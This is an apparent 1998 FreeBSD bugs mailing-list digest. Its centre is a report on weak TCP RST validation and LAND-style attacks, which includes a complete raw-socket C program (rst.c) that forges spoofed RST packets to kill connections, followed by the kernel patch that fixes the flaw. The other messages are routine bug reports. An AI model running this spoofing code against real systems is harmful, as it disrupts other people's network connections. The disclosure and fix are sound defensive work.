Precedence: bulk X-Loop: FreeBSD.org >Number: 7892 >Category: kern >Synopsis: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 01:20:01 PDT 1998 >Last-Modified: >Originator: Don Lewis >Organization: TDK Semiconductor >Release: FreeBSD 3.0-CURRENT-19980911 i386 (as well as 2.1.x and 2.2.x) >Environment: FreeBSD 2.1.x, 2.2.x, and 3.0-CURRENT >Description: A TCP bugfix from TCP/IP Illustrated Volume 2 page 960 broke RST validation. It allows RST packets with sequence numbers covering half the sequence space to be processed, whereas according to RFC 793, only those with sequence numbers in the the receive window should be processed. It is also theoretically possible to commit a "LAND"-style denial of service attack by sending forged SYN packets to two listening sockets that appear to have come from each other. This causes the two sockets to blast each other with ACKs. >How-To-Repeat: The RST problem can be triggered by following code which was was posted to BUGTRAQ by Tristan Horn . I added the for loop to vary the sequence number over a sufficient range to reliably trigger the bug. /* rst.c -- based on: land.c by m3lt, FLC crashes a win95 box Ported by blast and jerm to 44BSD*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* #include */ /* #include */ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in src, dst; struct hostent * hoste; int sock,foo, i; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n"); if(argc<5) { fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]); return(-1); } bzero(&src,sizeof(struct sockaddr_in)); bzero(&dst,sizeof(struct sockaddr_in)); src.sin_family=AF_INET; dst.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length); else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((src.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((hoste=gethostbyname(argv[3]))!=NULL) bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length); else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown host %s\n",argv[3]); return(-1); } if((dst.sin_port=htons(atoi(argv[4])))==0) { fprintf(stderr,"unknown port %s\n",argv[4]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } for (i = 0; i < 4; i++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=src.sin_addr; ipheader->ip_dst=dst.sin_addr; tcpheader->th_sport=src.sin_port; tcpheader->th_dport=dst.sin_port; tcpheader->th_seq=htonl(0xF1C + (i * 0x40000000)); tcpheader->th_flags=TH_RST; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr=src.sin_addr; pseudoheader.daddr=dst.sin_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } } fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]); close(sock); return(0); } >Fix: The following patch tightens up the RST validation. It also breaks the loop in the general form of the "LAND" attack which would cause the sockets to keep sending ACKs to each other, and it sends a RST to clean things up in the case where we know something is amiss. --- tcp_input.c.orig Fri Sep 4 18:15:31 1998 +++ tcp_input.c Fri Sep 11 00:12:36 1998 @@ -979,17 +979,99 @@ /* * States other than LISTEN or SYN_SENT. - * First check timestamp, if present. + * First check the RST flag and sequence number since reset segments + * are exempt from the timestamp and connection count tests. This + * fixes a bug introduced by the Stevens, vol. 2, p. 960 bugfix + * below which allowed reset segments in half the sequence space + * to fall though and be processed (which gives forged reset + * segments with a random sequence number a 50 percent chance of + * killing a connection). + * Then check timestamp, if present. * Then check the connection count, if present. * Then check that at least some bytes of segment are within * receive window. If segment begins before rcv_nxt, * drop leading data (and SYN); if nothing left, just ack. * + * + * If the RST bit is set, check the sequence number to see + * if this is a valid reset segment. + * RFC 793 page 37: + * In all states except SYN-SENT, all reset (RST) segments + * are validated by checking their SEQ-fields. A reset is + * valid if its sequence number is in the window. + * Note: this does not take into account delayed ACKs, so + * we should test against last_ack_sent instead of rcv_nxt. + * Also, it does not make sense to allow reset segments with + * sequence numbers greater than last_ack_sent to be processed + * since these sequence numbers are just the acknowledgement + * numbers in our outgoing packets being echoed back at us, + * and these acknowledgement numbers are monotonically + * increasing. + * If we have multiple segments in flight, the intial reset + * segment sequence numbers will be to the left of last_ack_sent, + * but they will eventually catch up. + * In any case, it never made sense to trim reset segments to + * fit the receive window since RFC 1122 says: + * 4.2.2.12 RST Segment: RFC-793 Section 3.4 + * + * A TCP SHOULD allow a received RST segment to include data. + * + * DISCUSSION + * It has been suggested that a RST segment could contain + * ASCII text that encoded and explained the cause of the + * RST. No standard has yet been established for such + * data. + * + * If the reset segment passes the sequence number test examine + * the state: + * SYN_RECEIVED STATE: + * If passive open, return to LISTEN state. + * If active open, inform user that connection was refused. + * ESTABLISHED, FIN_WAIT_1, FIN_WAIT2, CLOSE_WAIT STATES: + * Inform user that connection was reset, and close tcb. + * CLOSING, LAST_ACK, TIME_WAIT STATES + * Close the tcb. + * TIME_WAIT state: + * Drop the segment - see Stevens, vol. 2, p. 964 and + * RFC 1337. + */ + if (tiflags&TH_RST) { + if (tp->last_ack_sent == ti->ti_seq) { + switch (tp->t_state) { + + case TCPS_SYN_RECEIVED: + so->so_error = ECONNREFUSED; + goto close; + + case TCPS_ESTABLISHED: + case TCPS_FIN_WAIT_1: + case TCPS_FIN_WAIT_2: + case TCPS_CLOSE_WAIT: + so->so_error = ECONNRESET; + close: + tp->t_state = TCPS_CLOSED; + tcpstat.tcps_drops++; + tp = tcp_close(tp); + break; + + case TCPS_CLOSING: + case TCPS_LAST_ACK: + tp = tcp_close(tp); + break; + + case TCPS_TIME_WAIT: + break; + } + } + goto drop; + } + + /* * RFC 1323 PAWS: If we have a timestamp reply on this segment * and it's less than ts_recent, drop it. */ - if ((to.to_flag & TOF_TS) != 0 && (tiflags & TH_RST) == 0 && - tp->ts_recent && TSTMP_LT(to.to_tsval, tp->ts_recent)) { + if ((to.to_flag & TOF_TS) != 0 && tp->ts_recent && + TSTMP_LT(to.to_tsval, tp->ts_recent)) { /* Check to see if ts_recent is over 24 days old. */ if ((int)(tcp_now - tp->ts_recent_age) > TCP_PAWS_IDLE) { @@ -1020,10 +1102,19 @@ * RST segments do not have to comply with this. */ if ((tp->t_flags & (TF_REQ_CC|TF_RCVD_CC)) == (TF_REQ_CC|TF_RCVD_CC) && - ((to.to_flag & TOF_CC) == 0 || tp->cc_recv != to.to_cc) && - (tiflags & TH_RST) == 0) + ((to.to_flag & TOF_CC) == 0 || tp->cc_recv != to.to_cc)) goto dropafterack; + /* + * In the SYN-RECEIVED state, validate that the packet belongs to + * this connection before trimming the data to fit the receive + * window. Check the sequence number versus IRS since we know + * the sequence numbers haven't wrapped. This is a partial fix + * for the "LAND" DoS attack. + */ + if (tp->t_state == TCPS_SYN_RECEIVED && SEQ_LT(ti->ti_seq, tp->irs)) + goto dropwithreset; + todrop = tp->rcv_nxt - ti->ti_seq; if (todrop > 0) { if (tiflags & TH_SYN) { @@ -1135,40 +1226,6 @@ } /* - * If the RST bit is set examine the state: - * SYN_RECEIVED STATE: - * If passive open, return to LISTEN state. - * If active open, inform user that connection was refused. - * ESTABLISHED, FIN_WAIT_1, FIN_WAIT2, CLOSE_WAIT STATES: - * Inform user that connection was reset, and close tcb. - * CLOSING, LAST_ACK, TIME_WAIT STATES - * Close the tcb. - */ - if (tiflags&TH_RST) switch (tp->t_state) { - - case TCPS_SYN_RECEIVED: - so->so_error = ECONNREFUSED; - goto close; - - case TCPS_ESTABLISHED: - case TCPS_FIN_WAIT_1: - case TCPS_FIN_WAIT_2: - case TCPS_CLOSE_WAIT: - so->so_error = ECONNRESET; - close: - tp->t_state = TCPS_CLOSED; - tcpstat.tcps_drops++; - tp = tcp_close(tp); - goto drop; - - case TCPS_CLOSING: - case TCPS_LAST_ACK: - case TCPS_TIME_WAIT: - tp = tcp_close(tp); - goto drop; - } - - /* * If a SYN is in the window, then this is an * error and we send an RST and drop the connection. */ @@ -1673,9 +1730,22 @@ /* * Generate an ACK dropping incoming segment if it occupies * sequence space, where the ACK reflects our state. - */ - if (tiflags & TH_RST) - goto drop; + * + * We can now skip the test for the RST flag since all + * paths to this code happen after packets containing + * RST have been dropped. + * + * In the SYN-RECEIVED state, don't send an ACK unless the + * segment we received passes the SYN-RECEIVED ACK test. + * If it fails send a RST. This breaks the loop in the + * "LAND" DoS attack, and also prevents an ACK storm + * between two listening ports that have been sent forged + * SYN segments, each with the source address of the other. + */ + if (tp->t_state == TCPS_SYN_RECEIVED && (tiflags & TH_ACK) && + (SEQ_GT(tp->snd_una, ti->ti_ack) || + SEQ_GT(ti->ti_ack, tp->snd_max)) ) + goto dropwithreset; #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) tcp_trace(TA_DROP, ostate, tp, &tcp_saveti, 0); >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 05:11:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA23432 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 05:11:22 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.astrac.com (mail.astrac.com [194.152.89.66]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA23426 for ; Fri, 11 Sep 1998 05:11:11 -0700 (PDT) (envelope-from peter.duffy@astrac.com) From: peter.duffy@astrac.com Received: from duffypd (duffypd.astrac.com [195.51.152.10]) by mail.astrac.com (8.6.12/8.6.12) with SMTP id NAA10943 for ; Fri, 11 Sep 1998 13:10:39 +0100 Message-Id: <199809111210.NAA10943@mail.astrac.com> Reply-to: peter.duffy@astrac.com Date: Fri, 11 Sep 98 13:09:47 +0100 To: freebsd-bugs@FreeBSD.ORG Subject: Re: keyboard lockup on 2.2.5 install boot X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.29 (Unregistered) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Further to my bug report yesterday re. keyboard lockup on boot-up from 2.2.5 install disk, I have now established that a 2.1.0 boot disk works fine on the same machine. Regards, Peter ----------------------------------------------------------- peter.duffy@astrac.com Peter W. Duffy Systems Manager ASTRAC LTD. Tel: 01132-585288 ----------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 06:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA01304 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 06:30:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA01281 for ; Fri, 11 Sep 1998 06:30:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id GAA24650; Fri, 11 Sep 1998 06:30:01 -0700 (PDT) Received: from fed-ef1.frb.gov (fed.frb.gov [132.200.32.32]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA01153 for ; Fri, 11 Sep 1998 06:28:28 -0700 (PDT) (envelope-from seth@freebie.dp.ny.frb.org) Received: by fed-ef1.frb.gov; id JAA26280; Fri, 11 Sep 1998 09:28:16 -0400 (EDT) Received: from m1pmdf.frb.gov(192.168.3.38) by fed.frb.gov via smap (3.2) id xma026243; Fri, 11 Sep 98 09:27:48 -0400 Message-Id: <199809111327.JAA15754@freebie.dp.ny.frb.org> Date: Fri, 11 Sep 1998 09:27:44 -0400 (EDT) From: seth@freebie.dp.ny.frb.org Reply-To: seth@freebie.dp.ny.frb.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7895: multiple identical NFS mounts accepted Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7895 >Category: bin >Synopsis: multiple identical NFS mounts accepted >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 06:30:01 PDT 1998 >Last-Modified: >Originator: Zippy >Organization: none >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: >Description: multiple identical nfs mounts (from the same exported fs to the same mountpoint) are accepted and each is given an entry in 'mount' output. >How-To-Repeat: easy. Two ways: have an nfs mount in /etc/fstab, and do a mount -a twice, or manually nfs-mount the same fs twice: # mount netserv3:/export/freebie/usr/packages-2.2.7 /usr/packages # mount netserv3:/export/freebie/usr/packages-2.2.7 /usr/packages # mount /dev/wd0s1a on / (local) /dev/wd0s1f on /tmp (local) /dev/wd0s1g on /usr (NFS exported, local) /dev/wd0s1e on /var (local) netserv3:/export/freebie/usr/packages-2.2.7 on /usr/packages netserv3:/export/freebie/usr/backup on /usr/backup procfs on /proc (local) netserv3:/export/freebie/usr/packages-2.2.7 on /usr/packages Umounting /usr/packages will umount the most-recently-mounted instance. Add'l info: # what `which mount` /sbin/mount: Copyright (c) 1980, 1989, 1993, 1994 mount.c 8.19 (Berkeley) 4/19/94 Copyright (c) 1993, 1994 mount_ufs.c 8.2 (Berkeley) 3/27/94 getmntopts.c 8.1 (Berkeley) 3/27/94 >Fix: Don't know exactly, but mount needs to check to see that the mountpoint isn't already being used as such. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 07:10:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA05114 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 07:10:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA05091 for ; Fri, 11 Sep 1998 07:10:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id HAA29456; Fri, 11 Sep 1998 07:10:01 -0700 (PDT) Received: from k6n1.znh.org (dialup2.gaffaneys.com [208.155.161.52]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA04454 for ; Fri, 11 Sep 1998 07:00:56 -0700 (PDT) (envelope-from zach@gaffaneys.com) Received: (from zach@localhost) by k6n1.znh.org (8.9.1/8.9.1) id OAA09530; Fri, 11 Sep 1998 14:01:20 GMT (envelope-from zach) Message-Id: <199809111401.OAA09530@k6n1.znh.org> Date: Fri, 11 Sep 1998 14:01:20 GMT From: Zach Heilig Reply-To: zach@gaffaneys.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7896: du -c gets totals wrong... Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7896 >Category: bin >Synopsis: du -c gets totals wrong >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 07:10:01 PDT 1998 >Last-Modified: >Originator: Zach Heilig >Organization: none >Release: FreeBSD 3.0-CURRENT i386 (& FreeBSD 2.2.7-STABLE i386) >Environment: >Description: du -c simply puts out the numbers in the last directory visited. >How-To-Repeat: [before fix:] $ cd /usr/src/bin $ du -c ed ls 4 ed/CVS 10 ed/test/CVS 165 ed/test 290 ed 4 ls/CVS 60 ls 60 total $ [after fix:] $ cd /usr/src/bin $ du -c ed ls 4 ed/CVS 10 ed/test/CVS 165 ed/test 290 ed 4 ls/CVS 60 ls 350 total $ >Fix: Both -stable and -current need this fix: Index: du.c =================================================================== RCS file: /fs/ncvs/src/usr.bin/du/du.c,v retrieving revision 1.12 diff -u -r1.12 du.c --- du.c 1998/07/29 17:50:06 1.12 +++ du.c 1998/09/11 13:50:48 @@ -214,7 +214,7 @@ p->fts_parent->fts_number += p->fts_statp->st_blocks; } - savednumber = p->fts_number; + savednumber = p->fts_parent->fts_number; } if (errno) >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 07:29:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA06675 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 07:29:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from arc.hq.cti.ru (arc.hq.cti.ru [195.34.40.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA06566; Fri, 11 Sep 1998 07:28:00 -0700 (PDT) (envelope-from tejblum@arc.hq.cti.ru) Received: from localhost (tejblum@localhost) by arc.hq.cti.ru (8.9.0/8.9.0) with SMTP id SAA23216; Fri, 11 Sep 1998 18:27:13 +0400 (MSD) Date: Fri, 11 Sep 1998 18:27:13 +0400 (MSD) From: Dmitrij Tejblum To: Bruce Evans cc: dt@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, wb@vestein.arb-phys.uni-dortmund.de Subject: Re: conf/7677 In-Reply-To: <199809110730.RAA32704@godzilla.zeta.org.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 11 Sep 1998, Bruce Evans wrote: > >Synopsis: make world 3.0 fails on r/o src-tree > > > >State-Changed-From-To: open-closed > > It was fixed in -current long before the PR was submitted. It seems > to be still broken in 2.2.7. The PR seems to actually be for 2.2.7. Yup. Why 3.0 mentioned in the synopsis then? :-/ Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 07:30:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA06909 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 07:30:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA06820 for ; Fri, 11 Sep 1998 07:30:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id HAA00194; Fri, 11 Sep 1998 07:30:00 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA06496; Fri, 11 Sep 1998 07:27:39 -0700 (PDT) (envelope-from nobody) Message-Id: <199809111427.HAA06496@hub.freebsd.org> Date: Fri, 11 Sep 1998 07:27:39 -0700 (PDT) From: pfeifer@dbai.tuwien.ac.at To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/7898: linux_lib-2.4 lacks libc.so.6 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7898 >Category: i386 >Synopsis: linux_lib-2.4 lacks libc.so.6 >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 07:30:00 PDT 1998 >Last-Modified: >Originator: Gerald Pfeifer >Organization: Vienna University of Technology >Release: FreeBSD 2.2.7-RELEASE >Environment: FreeBSD alkaid.dbai.tuwien.ac.at 2.2.7-RELEASE FreeBSD 2.2.7-RELEASE #0: Fri Sep 4 18:46:43 CEST 1998 pfeifer@alkaid.dbai.tuwien.ac.at:/usr/src/sys/compile/WINEKERNEL i386 >Description: Current Linux distributions are switching to libc 2 resp. libc.so.6 these days, so we can expect a lot of Linux binaries to rely on this quite soon. It would thus be nice to have this in the standard linux_lib package as well. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 08:00:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10450 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 08:00:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10401 for ; Fri, 11 Sep 1998 08:00:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA01217; Fri, 11 Sep 1998 08:00:01 -0700 (PDT) Date: Fri, 11 Sep 1998 08:00:01 -0700 (PDT) Message-Id: <199809111500.IAA01217@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Alfred Perlstein Subject: Re: bin/5880: df -t does not support devfs Reply-To: Alfred Perlstein Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/5880; it has been noted by GNATS. From: Alfred Perlstein To: freebsd-gnats-submit@freebsd.org, jonny@coppe.ufrj.br Cc: Subject: Re: bin/5880: df -t does not support devfs Date: Fri, 11 Sep 1998 10:58:15 -0500 it seems slightly fixed now: ~ % df -t devfs Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/wd0s1a 39647 20272 16204 56% / devfs 16 16 0 100% /dev the: /dev/wd0s1a 39647 20272 16204 56% / concerns me though. -- Alfred Perlstein - Programmer, HotJobs Inc. - www.hotjobs.com -- There are operating systems, and then there's FreeBSD. -- http://www.freebsd.org/ 3.0-current To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 08:10:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA11828 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 08:10:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA11776 for ; Fri, 11 Sep 1998 08:10:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA01535; Fri, 11 Sep 1998 08:10:00 -0700 (PDT) Date: Fri, 11 Sep 1998 08:10:00 -0700 (PDT) Message-Id: <199809111510.IAA01535@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Garrett Wollman Subject: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible Reply-To: Garrett Wollman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/7892; it has been noted by GNATS. From: Garrett Wollman To: gdonl@tsc.tdk.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: kern/7892: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible Date: Fri, 11 Sep 1998 11:02:00 -0400 (EDT) < said: > The following patch tightens up the RST validation. It also breaks the > loop in the general form of the "LAND" attack which would cause the sockets > to keep sending ACKs to each other, and it sends a RST to clean things up > in the case where we know something is amiss. Great job, Don. I'll commit this today if nobody beats me to it. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 08:41:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA15754 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 08:41:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA15746; Fri, 11 Sep 1998 08:40:59 -0700 (PDT) (envelope-from des@FreeBSD.org) From: "Dag-Erling C. Sm\xf8rgrav" Received: (from des@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA02524; Fri, 11 Sep 1998 08:40:58 -0700 (PDT) Date: Fri, 11 Sep 1998 08:40:58 -0700 (PDT) Message-Id: <199809111540.IAA02524@freefall.freebsd.org> To: des@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, des@FreeBSD.ORG Subject: Re: bin/7896 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: du -c gets totals wrong Responsible-Changed-From-To: freebsd-bugs->des Responsible-Changed-By: des Responsible-Changed-When: Fri Sep 11 08:40:28 PDT 1998 Responsible-Changed-Why: I broke it, I'll fix it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 09:05:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA19340 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 09:05:32 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA19335; Fri, 11 Sep 1998 09:05:23 -0700 (PDT) (envelope-from wollman@FreeBSD.org) From: Garrett Wollman Received: (from wollman@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA03660; Fri, 11 Sep 1998 09:05:22 -0700 (PDT) Date: Fri, 11 Sep 1998 09:05:22 -0700 (PDT) Message-Id: <199809111605.JAA03660@freefall.freebsd.org> To: gdonl@tsc.tdk.com, wollman@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7892 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Old Synopsis: [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible New Synopsis: [MFC] [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible State-Changed-From-To: open-suspended State-Changed-By: wollman State-Changed-When: Fri Sep 11 09:04:13 PDT 1998 State-Changed-Why: Awaiting merge into 2.2. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 10:13:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA28606 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 10:13:59 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from dt053nb4.san.rr.com (dt053nb4.san.rr.com [204.210.34.180]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA28599 for ; Fri, 11 Sep 1998 10:13:57 -0700 (PDT) (envelope-from Studded@dal.net) Received: from dal.net (Studded@localhost [127.0.0.1]) by dt053nb4.san.rr.com (8.8.8/8.8.8) with ESMTP id KAA05034; Fri, 11 Sep 1998 10:13:33 -0700 (PDT) (envelope-from Studded@dal.net) Message-ID: <35F95A3D.F25AF804@dal.net> Date: Fri, 11 Sep 1998 10:13:33 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.06 [en] (X11; I; FreeBSD 2.2.7-STABLE-0905 i386) MIME-Version: 1.0 To: Garrett Wollman CC: freebsd-bugs@FreeBSD.ORG 